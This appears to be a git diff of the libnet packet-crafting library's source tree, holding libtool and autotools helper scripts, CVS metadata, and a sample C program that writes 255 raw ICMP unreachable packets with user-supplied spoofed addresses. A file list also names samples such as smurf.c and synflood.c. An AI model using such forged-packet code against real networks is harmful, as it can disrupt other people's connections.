+ eval "$shlibpath_var=\"\$dir:\$$shlibpath_var\"" + fi + done + + # This variable tells wrapper scripts just to set shlibpath_var + # rather than running their programs. + libtool_execute_magic="$magic" + + # Check if any of the arguments is a wrapper script. + args= + for file + do + case $file in + -*) ;; + *) + # Do a test to see if this is really a libtool program. + if (${SED} -e '4q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + # If there is no directory component, then add one. + case $file in + */* | *\\*) . $file ;; + *) . ./$file ;; + esac + + # Transform arg to wrapped name. + file="$progdir/$program" + fi + ;; + esac + # Quote arguments (to preserve shell metacharacters). + file=`$echo "X$file" | $Xsed -e "$sed_quote_subst"` + args="$args \"$file\"" + done + + if test -z "$run"; then + if test -n "$shlibpath_var"; then + # Export the shlibpath_var. + eval "export $shlibpath_var" + fi + + # Restore saved environment variables + if test "${save_LC_ALL+set}" = set; then + LC_ALL="$save_LC_ALL"; export LC_ALL + fi + if test "${save_LANG+set}" = set; then + LANG="$save_LANG"; export LANG + fi + + # Now prepare to actually exec the command. + exec_cmd="\$cmd$args" + else + # Display what would be done. + if test -n "$shlibpath_var"; then + eval "\$echo \"\$shlibpath_var=\$$shlibpath_var\"" + $echo "export $shlibpath_var" + fi + $echo "$cmd$args" + exit $EXIT_SUCCESS + fi + ;; + + # libtool clean and uninstall mode + clean | uninstall) + modename="$modename: $mode" + rm="$nonopt" + files= + rmforce= + exit_status=0 + + # This variable tells wrapper scripts just to set variables rather + # than running their programs. + libtool_install_magic="$magic" + + for arg + do + case $arg in + -f) rm="$rm $arg"; rmforce=yes ;; + -*) rm="$rm $arg" ;; + *) files="$files $arg" ;; + esac + done + + if test -z "$rm"; then + $echo "$modename: you must specify an RM program" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + rmdirs= + + origobjdir="$objdir" + for file in $files; do + dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'` + if test "X$dir" = "X$file"; then + dir=. + objdir="$origobjdir" + else + objdir="$dir/$origobjdir" + fi + name=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + test "$mode" = uninstall && objdir="$dir" + + # Remember objdir for removal later, being careful to avoid duplicates + if test "$mode" = clean; then + case " $rmdirs " in + *" $objdir "*) ;; + *) rmdirs="$rmdirs $objdir" ;; + esac + fi + + # Don't error if the file doesn't exist and rm -f was used. + if (test -L "$file") >/dev/null 2>&1 \ + || (test -h "$file") >/dev/null 2>&1 \ + || test -f "$file"; then + : + elif test -d "$file"; then + exit_status=1 + continue + elif test "$rmforce" = yes; then + continue + fi + + rmfiles="$file" + + case $name in + *.la) + # Possibly a libtool archive, so verify it. + if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + . $dir/$name + + # Delete the libtool libraries and symlinks. + for n in $library_names; do + rmfiles="$rmfiles $objdir/$n" + done + test -n "$old_library" && rmfiles="$rmfiles $objdir/$old_library" + test "$mode" = clean && rmfiles="$rmfiles $objdir/$name $objdir/${name}i" + + if test "$mode" = uninstall; then + if test -n "$library_names"; then + # Do each command in the postuninstall commands. + cmds=$postuninstall_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" + if test "$?" -ne 0 && test "$rmforce" != yes; then + exit_status=1 + fi + done + IFS="$save_ifs" + fi + + if test -n "$old_library"; then + # Do each command in the old_postuninstall commands. + cmds=$old_postuninstall_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" + if test "$?" -ne 0 && test "$rmforce" != yes; then + exit_status=1 + fi + done + IFS="$save_ifs" + fi + # FIXME: should reinstall the best remaining shared library. + fi + fi + ;; + + *.lo) + # Possibly a libtool object, so verify it. + if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + + # Read the .lo file + . $dir/$name + + # Add PIC object to the list of files to remove. + if test -n "$pic_object" \ + && test "$pic_object" != none; then + rmfiles="$rmfiles $dir/$pic_object" + fi + + # Add non-PIC object to the list of files to remove. + if test -n "$non_pic_object" \ + && test "$non_pic_object" != none; then + rmfiles="$rmfiles $dir/$non_pic_object" + fi + fi + ;; + + *) + if test "$mode" = clean ; then + noexename=$name + case $file in + *.exe) + file=`$echo $file|${SED} 's,.exe$,,'` + noexename=`$echo $name|${SED} 's,.exe$,,'` + # $file with .exe has already been added to rmfiles, + # add $file without .exe + rmfiles="$rmfiles $file" + ;; + esac + # Do a test to see if this is a libtool program. + if (${SED} -e '4q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + relink_command= + . $dir/$noexename + + # note $name still contains .exe if it was in $file originally + # as does the version of $file that was added into $rmfiles + rmfiles="$rmfiles $objdir/$name $objdir/${name}S.${objext}" + if test "$fast_install" = yes && test -n "$relink_command"; then + rmfiles="$rmfiles $objdir/lt-$name" + fi + if test "X$noexename" != "X$name" ; then + rmfiles="$rmfiles $objdir/lt-${noexename}.c" + fi + fi + fi + ;; + esac + $show "$rm $rmfiles" + $run $rm $rmfiles || exit_status=1 + done + objdir="$origobjdir" + + # Try to remove the ${objdir}s in the directories where we deleted files + for dir in $rmdirs; do + if test -d "$dir"; then + $show "rmdir $dir" + $run rmdir $dir >/dev/null 2>&1 + fi + done + + exit $exit_status + ;; + + "") + $echo "$modename: you must specify a MODE" 1>&2 + $echo "$generic_help" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + if test -z "$exec_cmd"; then + $echo "$modename: invalid operation mode \`$mode'" 1>&2 + $echo "$generic_help" 1>&2 + exit $EXIT_FAILURE + fi +fi # test -z "$show_help" + +if test -n "$exec_cmd"; then + eval exec $exec_cmd + exit $EXIT_FAILURE +fi + +# We need to display help for each of the modes. +case $mode in +"") $echo \ +"Usage: $modename [OPTION]... [MODE-ARG]... + +Provide generalized library-building support services. + + --config show all configuration variables + --debug enable verbose shell tracing +-n, --dry-run display commands without modifying any files + --features display basic configuration information and exit + --finish same as \`--mode=finish' + --help display this help message and exit + --mode=MODE use operation mode MODE [default=inferred from MODE-ARGS] + --quiet same as \`--silent' + --silent don't print informational messages + --tag=TAG use configuration variables from tag TAG + --version print version information + +MODE must be one of the following: + + clean remove files from the build directory + compile compile a source file into a libtool object + execute automatically set library path, then run a program + finish complete the installation of libtool libraries + install install libraries or executables + link create a library or an executable + uninstall remove libraries from an installed directory + +MODE-ARGS vary depending on the MODE. Try \`$modename --help --mode=MODE' for +a more detailed description of MODE. + +Report bugs to <bug-libtool@gnu.org>." + exit $EXIT_SUCCESS + ;; + +clean) + $echo \ +"Usage: $modename [OPTION]... --mode=clean RM [RM-OPTION]... FILE... + +Remove files from the build directory. + +RM is the name of the program to use to delete files associated with each FILE +(typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be passed +to RM. + +If FILE is a libtool library, object or program, all the files associated +with it are deleted. Otherwise, only FILE itself is deleted using RM." + ;; + +compile) + $echo \ +"Usage: $modename [OPTION]... --mode=compile COMPILE-COMMAND... SOURCEFILE + +Compile a source file into a libtool library object. + +This mode accepts the following additional options: + + -o OUTPUT-FILE set the output file name to OUTPUT-FILE + -prefer-pic try to building PIC objects only + -prefer-non-pic try to building non-PIC objects only + -static always build a \`.o' file suitable for static linking + +COMPILE-COMMAND is a command to be used in creating a \`standard' object file +from the given SOURCEFILE. + +The output file name is determined by removing the directory component from +SOURCEFILE, then substituting the C source code suffix \`.c' with the +library object suffix, \`.lo'." + ;; + +execute) + $echo \ +"Usage: $modename [OPTION]... --mode=execute COMMAND [ARGS]... + +Automatically set library path, then run a program. + +This mode accepts the following additional options: + + -dlopen FILE add the directory containing FILE to the library path + +This mode sets the library path environment variable according to \`-dlopen' +flags. + +If any of the ARGS are libtool executable wrappers, then they are translated +into their corresponding uninstalled binary, and any of their required library +directories are added to the library path. + +Then, COMMAND is executed, with ARGS as arguments." + ;; + +finish) + $echo \ +"Usage: $modename [OPTION]... --mode=finish [LIBDIR]... + +Complete the installation of libtool libraries. + +Each LIBDIR is a directory that contains libtool libraries. + +The commands that this mode executes may require superuser privileges. Use +the \`--dry-run' option if you just want to see what would be executed." + ;; + +install) + $echo \ +"Usage: $modename [OPTION]... --mode=install INSTALL-COMMAND... + +Install executables or libraries. + +INSTALL-COMMAND is the installation command. The first component should be +either the \`install' or \`cp' program. + +The rest of the components are interpreted as arguments to that command (only +BSD-compatible install options are recognized)." + ;; + +link) + $echo \ +"Usage: $modename [OPTION]... --mode=link LINK-COMMAND... + +Link object files or libraries together to form another library, or to +create an executable program. + +LINK-COMMAND is a command using the C compiler that you would use to create +a program from several object files. + +The following components of LINK-COMMAND are treated specially: + + -all-static do not do any dynamic linking at all + -avoid-version do not add a version suffix if possible + -dlopen FILE \`-dlpreopen' FILE if it cannot be dlopened at runtime + -dlpreopen FILE link in FILE and add its symbols to lt_preloaded_symbols + -export-dynamic allow symbols from OUTPUT-FILE to be resolved with dlsym(3) + -export-symbols SYMFILE + try to export only the symbols listed in SYMFILE + -export-symbols-regex REGEX + try to export only the symbols matching REGEX + -LLIBDIR search LIBDIR for required installed libraries + -lNAME OUTPUT-FILE requires the installed library libNAME + -module build a library that can dlopened + -no-fast-install disable the fast-install mode + -no-install link a not-installable executable + -no-undefined declare that a library does not refer to external symbols + -o OUTPUT-FILE create OUTPUT-FILE from the specified objects + -objectlist FILE Use a list of object files found in FILE to specify objects + -precious-files-regex REGEX + don't remove output files matching REGEX + -release RELEASE specify package release information + -rpath LIBDIR the created library will eventually be installed in LIBDIR + -R[ ]LIBDIR add LIBDIR to the runtime path of programs and libraries + -static do not do any dynamic linking of libtool libraries + -version-info CURRENT[:REVISION[:AGE]] + specify library version info [each variable defaults to 0] + +All other options (arguments beginning with \`-') are ignored. + +Every other argument is treated as a filename. Files ending in \`.la' are +treated as uninstalled libtool libraries, other files are standard or library +object files. + +If the OUTPUT-FILE ends in \`.la', then a libtool library is created, +only library objects (\`.lo' files) may be specified, and \`-rpath' is +required, except when creating a convenience library. + +If OUTPUT-FILE ends in \`.a' or \`.lib', then a standard library is created +using \`ar' and \`ranlib', or on Windows using \`lib'. + +If OUTPUT-FILE ends in \`.lo' or \`.${objext}', then a reloadable object file +is created, otherwise an executable program is created." + ;; + +uninstall) + $echo \ +"Usage: $modename [OPTION]... --mode=uninstall RM [RM-OPTION]... FILE... + +Remove libraries from an installation directory. + +RM is the name of the program to use to delete files associated with each FILE +(typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be passed +to RM. + +If FILE is a libtool library, all the files associated with it are deleted. +Otherwise, only FILE itself is deleted using RM." + ;; + +*) + $echo "$modename: invalid operation mode \`$mode'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; +esac + +$echo +$echo "Try \`$modename --help' for more information about other modes." + +exit $EXIT_SUCCESS + +# The TAGs below are defined such that we never get into a situation +# in which we disable both kinds of libraries. Given conflicting +# choices, we go for a static library, that is the most portable, +# since we can't tell whether shared libraries were disabled because +# the user asked for that or because the platform doesn't support +# them. This is particularly important on AIX, because we don't +# support having both static and shared libraries enabled at the same +# time on that platform, so we default to a shared-only configuration. +# If a disable-shared tag is given, we'll fallback to a static-only +# configuration. But we'll never go from static-only to shared-only. + +# ### BEGIN LIBTOOL TAG CONFIG: disable-shared +build_libtool_libs=no +build_old_libs=yes +# ### END LIBTOOL TAG CONFIG: disable-shared + +# ### BEGIN LIBTOOL TAG CONFIG: disable-static +build_old_libs=`case $build_libtool_libs in yes) $echo no;; *) $echo yes;; esac` +# ### END LIBTOOL TAG CONFIG: disable-static + +# Local Variables: +# mode:shell-script +# sh-indentation:2 +# End: diff --git a/libnet/man/CVS/Entries b/libnet/man/CVS/Entries new file mode 100644 index 0000000..1784810 --- /dev/null +++ b/libnet/man/CVS/Entries @@ -0,0 +1 @@ +D diff --git a/libnet/man/CVS/Repository b/libnet/man/CVS/Repository new file mode 100644 index 0000000..5cae090 --- /dev/null +++ b/libnet/man/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/man diff --git a/libnet/man/CVS/Root b/libnet/man/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/man/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/missing b/libnet/missing new file mode 100755 index 0000000..0a7fb5a --- /dev/null +++ b/libnet/missing @@ -0,0 +1,283 @@ +#! /bin/sh +# Common stub for a few missing GNU programs while installing. +# Copyright 1996, 1997, 1999, 2000 Free Software Foundation, Inc. +# Originally by Fran,cois Pinard <pinard@iro.umontreal.ca>, 1996. + +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. + +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +if test $# -eq 0; then + echo 1>&2 "Try \`$0 --help' for more information" + exit 1 +fi + +run=: + +# In the cases where this matters, `missing' is being run in the +# srcdir already. +if test -f configure.ac; then + configure_ac=configure.ac +else + configure_ac=configure.in +fi + +case "$1" in +--run) + # Try to run requested program, and just exit if it succeeds. + run= + shift + "$@" && exit 0 + ;; +esac + +# If it does not exist, or fails to run (possibly an outdated version), +# try to emulate it. +case "$1" in + + -h|--h|--he|--hel|--help) + echo "\ +$0 [OPTION]... PROGRAM [ARGUMENT]... + +Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return an +error status if there is no known handling for PROGRAM. + +Options: + -h, --help display this help and exit + -v, --version output version information and exit + --run try to run the given command, and emulate it if it fails + +Supported PROGRAM values: + aclocal touch file \`aclocal.m4' + autoconf touch file \`configure' + autoheader touch file \`config.h.in' + automake touch all \`Makefile.in' files + bison create \`y.tab.[ch]', if possible, from existing .[ch] + flex create \`lex.yy.c', if possible, from existing .c + help2man touch the output file + lex create \`lex.yy.c', if possible, from existing .c + makeinfo touch the output file + tar try tar, gnutar, gtar, then tar without non-portable flags + yacc create \`y.tab.[ch]', if possible, from existing .[ch]" + ;; + + -v|--v|--ve|--ver|--vers|--versi|--versio|--version) + echo "missing 0.3 - GNU automake" + ;; + + -*) + echo 1>&2 "$0: Unknown \`$1' option" + echo 1>&2 "Try \`$0 --help' for more information" + exit 1 + ;; + + aclocal) + echo 1>&2 "\ +WARNING: \`$1' is missing on your system. You should only need it if + you modified \`acinclude.m4' or \`${configure_ac}'. You might want + to install the \`Automake' and \`Perl' packages. Grab them from + any GNU archive site." + touch aclocal.m4 + ;; + + autoconf) + echo 1>&2 "\ +WARNING: \`$1' is missing on your system. You should only need it if + you modified \`${configure_ac}'. You might want to install the + \`Autoconf' and \`GNU m4' packages. Grab them from any GNU + archive site." + touch configure + ;; + + autoheader) + echo 1>&2 "\ +WARNING: \`$1' is missing on your system. You should only need it if + you modified \`acconfig.h' or \`${configure_ac}'. You might want + to install the \`Autoconf' and \`GNU m4' packages. Grab them + from any GNU archive site." + files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^)]*\)).*/\1/p' ${configure_ac}` + test -z "$files" && files="config.h" + touch_files= + for f in $files; do + case "$f" in + *:*) touch_files="$touch_files "`echo "$f" | + sed -e 's/^[^:]*://' -e 's/:.*//'`;; + *) touch_files="$touch_files $f.in";; + esac + done + touch $touch_files + ;; + + automake) + echo 1>&2 "\ +WARNING: \`$1' is missing on your system. You should only need it if + you modified \`Makefile.am', \`acinclude.m4' or \`${configure_ac}'. + You might want to install the \`Automake' and \`Perl' packages. + Grab them from any GNU archive site." + find . -type f -name Makefile.am -print | + sed 's/\.am$/.in/' | + while read f; do touch "$f"; done + ;; + + bison|yacc) + echo 1>&2 "\ +WARNING: \`$1' is missing on your system. You should only need it if + you modified a \`.y' file. You may need the \`Bison' package + in order for those modifications to take effect. You can get + \`Bison' from any GNU archive site." + rm -f y.tab.c y.tab.h + if [ $# -ne 1 ]; then + eval LASTARG="\${$#}" + case "$LASTARG" in + *.y) + SRCFILE=`echo "$LASTARG" | sed 's/y$/c/'` + if [ -f "$SRCFILE" ]; then + cp "$SRCFILE" y.tab.c + fi + SRCFILE=`echo "$LASTARG" | sed 's/y$/h/'` + if [ -f "$SRCFILE" ]; then + cp "$SRCFILE" y.tab.h + fi + ;; + esac + fi + if [ ! -f y.tab.h ]; then + echo >y.tab.h + fi + if [ ! -f y.tab.c ]; then + echo 'main() { return 0; }' >y.tab.c + fi + ;; + + lex|flex) + echo 1>&2 "\ +WARNING: \`$1' is missing on your system. You should only need it if + you modified a \`.l' file. You may need the \`Flex' package + in order for those modifications to take effect. You can get + \`Flex' from any GNU archive site." + rm -f lex.yy.c + if [ $# -ne 1 ]; then + eval LASTARG="\${$#}" + case "$LASTARG" in + *.l) + SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'` + if [ -f "$SRCFILE" ]; then + cp "$SRCFILE" lex.yy.c + fi + ;; + esac + fi + if [ ! -f lex.yy.c ]; then + echo 'main() { return 0; }' >lex.yy.c + fi + ;; + + help2man) + echo 1>&2 "\ +WARNING: \`$1' is missing on your system. You should only need it if + you modified a dependency of a manual page. You may need the + \`Help2man' package in order for those modifications to take + effect. You can get \`Help2man' from any GNU archive site." + + file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'` + if test -z "$file"; then + file=`echo "$*" | sed -n 's/.*--output=\([^ ]*\).*/\1/p'` + fi + if [ -f "$file" ]; then + touch $file + else + test -z "$file" || exec >$file + echo ".ab help2man is required to generate this page" + exit 1 + fi + ;; + + makeinfo) + if test -z "$run" && (makeinfo --version) > /dev/null 2>&1; then + # We have makeinfo, but it failed. + exit 1 + fi + + echo 1>&2 "\ +WARNING: \`$1' is missing on your system. You should only need it if + you modified a \`.texi' or \`.texinfo' file, or any other file + indirectly affecting the aspect of the manual. The spurious + call might also be the consequence of using a buggy \`make' (AIX, + DU, IRIX). You might want to install the \`Texinfo' package or + the \`GNU make' package. Grab either from any GNU archive site." + file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'` + if test -z "$file"; then + file=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'` + file=`sed -n '/^@setfilename/ { s/.* \([^ ]*\) *$/\1/; p; q; }' $file` + fi + touch $file + ;; + + tar) + shift + if test -n "$run"; then + echo 1>&2 "ERROR: \`tar' requires --run" + exit 1 + fi + + # We have already tried tar in the generic part. + # Look for gnutar/gtar before invocation to avoid ugly error + # messages. + if (gnutar --version > /dev/null 2>&1); then + gnutar ${1+"$@"} && exit 0 + fi + if (gtar --version > /dev/null 2>&1); then + gtar ${1+"$@"} && exit 0 + fi + firstarg="$1" + if shift; then + case "$firstarg" in + *o*) + firstarg=`echo "$firstarg" | sed s/o//` + tar "$firstarg" ${1+"$@"} && exit 0 + ;; + esac + case "$firstarg" in + *h*) + firstarg=`echo "$firstarg" | sed s/h//` + tar "$firstarg" ${1+"$@"} && exit 0 + ;; + esac + fi + + echo 1>&2 "\ +WARNING: I can't seem to be able to run \`tar' with the given arguments. + You may want to install GNU tar or Free paxutils, or check the + command line arguments." + exit 1 + ;; + + *) + echo 1>&2 "\ +WARNING: \`$1' is needed, and you do not seem to have it handy on your + system. You might have modified some files without having the + proper tools for further handling them. Check the \`README' file, + it often tells you about the needed prerequirements for installing + this package. You may also peek at any GNU archive site, in case + some other package would contain this missing \`$1' program." + exit 1 + ;; +esac + +exit 0 diff --git a/libnet/mkinstalldirs b/libnet/mkinstalldirs new file mode 100755 index 0000000..29f53a4 --- /dev/null +++ b/libnet/mkinstalldirs @@ -0,0 +1,40 @@ +#! /bin/sh +# mkinstalldirs --- make directory hierarchy +# Author: Noah Friedman <friedman@prep.ai.mit.edu> +# Created: 1993-05-16 +# Public domain + +# $Id: mkinstalldirs,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ + +errstatus=0 + +for file +do + set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'` + shift + + pathcomp= + for d + do + pathcomp="$pathcomp$d" + case "$pathcomp" in + -* ) pathcomp=./$pathcomp ;; + esac + + if test ! -d "$pathcomp"; then + echo "mkdir $pathcomp" + + mkdir "$pathcomp" || lasterr=$? + + if test ! -d "$pathcomp"; then + errstatus=$lasterr + fi + fi + + pathcomp="$pathcomp/" + done +done + +exit $errstatus + +# mkinstalldirs ends here diff --git a/libnet/sample/.#icmp_unreach.c.1.2 b/libnet/sample/.#icmp_unreach.c.1.2 new file mode 100644 index 0000000..0c155db --- /dev/null +++ b/libnet/sample/.#icmp_unreach.c.1.2 @@ -0,0 +1,190 @@ +/* + * $Id: icmp_unreach.c,v 1.2 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * Build an ICMP unreachable packet + * + * Hacked by Aaron Turner <aturner@pobox.com> to illustrate two bugs + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char **argv) +{ + int c, i; + libnet_t *l = NULL; + libnet_ptag_t icmp = 0, ip = 0, eth = 0; + u_long src_ip, dst_ip; + u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5}; + u_long payload_s = 8; + int mode = LIBNET_LINK; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: ICMP unreachable[link]\n"); + + src_ip = 0; + dst_ip = 0; + + while((c = getopt(argc, argv, "d:s:r")) != EOF) + { + switch (c) + { + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(1); + } + break; + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(1); + } + break; + case 'r': + mode = LIBNET_RAW4; + break; + } + } + if (!src_ip || !dst_ip) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + mode, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + +for (i = 1; i <= 255; i ++) { + icmp = libnet_build_icmpv4_unreach( + ICMP_UNREACH, /* type */ + ICMP_UNREACH_PORT, /* code */ + 0, /* checksum */ + LIBNET_IPV4_H + payload_s, /* o length */ + IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* o IP tos */ + (u_int16_t)i, /* o IP ID */ + 0, /* o frag */ + 64, /* o TTL */ + IPPROTO_UDP, /* o protocol */ + 0, /* o checksum */ + dst_ip, /* o source IP */ + src_ip, /* o destination IP */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + icmp); + if (icmp == -1) + { + fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); + goto bad; + } + + ip = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_ICMPV4_UNREACH_H + + LIBNET_IPV4_H + payload_s, /* length */ + IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */ + (u_int16_t)i, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + ip); + if (ip == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + if (mode == LIBNET_LINK) { + eth = libnet_build_ethernet( + enet_dst, /* ethernet destination */ + enet_src, /* ethernet source */ + ETHERTYPE_IP, /* protocol type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + eth); /* libnet id */ + + if (eth == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); + goto bad; + } + } + /* + * Write it to the wire. + */ + libnet_diag_dump_pblock(l); + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c); + } +} + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + + +void +usage(char *name) +{ + fprintf(stderr, "usage: %s [-r] -s source_ip -d destination_ip\n ", name); +} + +/* EOF */ diff --git a/libnet/sample/CVS/Entries b/libnet/sample/CVS/Entries new file mode 100644 index 0000000..5bc22bf --- /dev/null +++ b/libnet/sample/CVS/Entries @@ -0,0 +1,48 @@ +/bgp4_notification.c/1.1.1.1/Thu Jun 26 21:55:11 2003// +/bgp4_open.c/1.1.1.1/Thu Jun 26 21:55:11 2003// +/bgp4_update.c/1.1.1.1/Thu Jun 26 21:55:11 2003// +/dhcp_discover.c/1.3/Sat Jan 3 20:31:01 2004// +/dns.c/1.2/Wed Sep 10 18:34:14 2003// +/dot1x.c/1.2/Sat Jan 3 20:31:01 2004// +/fddi_tcp1.c/1.1.1.1/Thu Jun 26 21:55:11 2003// +/fddi_tcp2.c/1.1.1.1/Thu Jun 26 21:55:11 2003// +/icmp6_echoreq.c/1.1.1.1/Thu Jun 26 21:55:10 2003// +/icmp_echo_cq.c/1.3/Sat Jan 3 20:31:01 2004// +/icmp_timestamp.c/1.2/Sat Jan 3 20:31:01 2004// +/ieee.c/1.2/Sat Jan 3 20:31:01 2004// +/ip_link.c/1.1/Sat Jan 3 20:31:01 2004// +/isl.c/1.2/Sat Jan 3 20:31:01 2004// +/ospf_lsa.c/1.2/Sat Jan 3 20:31:01 2004// +/ping_of_death.c/1.2/Sat Jan 3 20:31:01 2004// +/rpc_tcp.c/1.2/Sat Jan 3 20:31:01 2004// +/rpc_udp.c/1.2/Sat Jan 3 20:31:01 2004// +/smurf.c/1.2/Sat Jan 3 20:31:01 2004// +/synflood.c/1.1.1.1/Thu Jun 26 21:55:11 2003// +/synflood6_frag.c/1.1/Sat Jan 3 20:31:01 2004// +/tftp.c/1.1/Sat Jan 3 20:31:01 2004// +/tring_tcp1.c/1.1.1.1/Thu Jun 26 21:55:11 2003// +/tring_tcp2.c/1.1.1.1/Thu Jun 26 21:55:11 2003// +D/win32//// +/ip_raw.c/1.1/Sat Jan 3 21:20:30 2004// +/stp.c/1.3/Wed Jan 21 19:01:29 2004// +/tcp2.c/1.3/Wed Jan 28 19:45:00 2004// +/libnet_test.h/1.3/Thu Jan 29 21:17:16 2004// +/ntp.c/1.3/Fri Feb 20 18:53:49 2004// +/mpls.c/1.3/Mon Mar 1 20:26:12 2004// +/synflood6.c/1.2/Mon Mar 1 20:26:12 2004// +/tcp1.c/1.6/Mon Mar 1 20:26:12 2004// +/udp1.c/1.6/Mon Mar 1 20:26:12 2004// +/udp2.c/1.6/Mon Mar 1 20:26:12 2004// +/sebek.c/1.1/Wed Mar 10 21:15:18 2004// +/gre.c/1.4/Tue Mar 16 05:10:54 2004// +/icmp_redirect.c/1.3/Tue Mar 16 18:40:58 2004// +/icmp_timeexceed.c/1.3/Tue Mar 16 18:40:58 2004// +/icmp_unreach.c/1.4/Tue Mar 16 18:40:59 2004// +/Makefile.am/1.6/Tue Nov 9 07:05:07 2004// +/Makefile.in/1.14/Tue Nov 9 07:05:07 2004// +/arp.c/1.7/Tue Nov 9 07:05:07 2004// +/bgp4_hdr.c/1.2/Sun Apr 25 00:07:40 2004// +/cdp.c/1.3/Tue Nov 9 07:05:07 2004// +/get_addr.c/1.4/Tue Nov 9 07:05:07 2004// +/hsrp.c/1.1/Fri May 28 14:55:19 2004// +/ospf_hello.c/1.3/Tue Nov 9 07:05:07 2004// diff --git a/libnet/sample/CVS/Repository b/libnet/sample/CVS/Repository new file mode 100644 index 0000000..f7ccbef 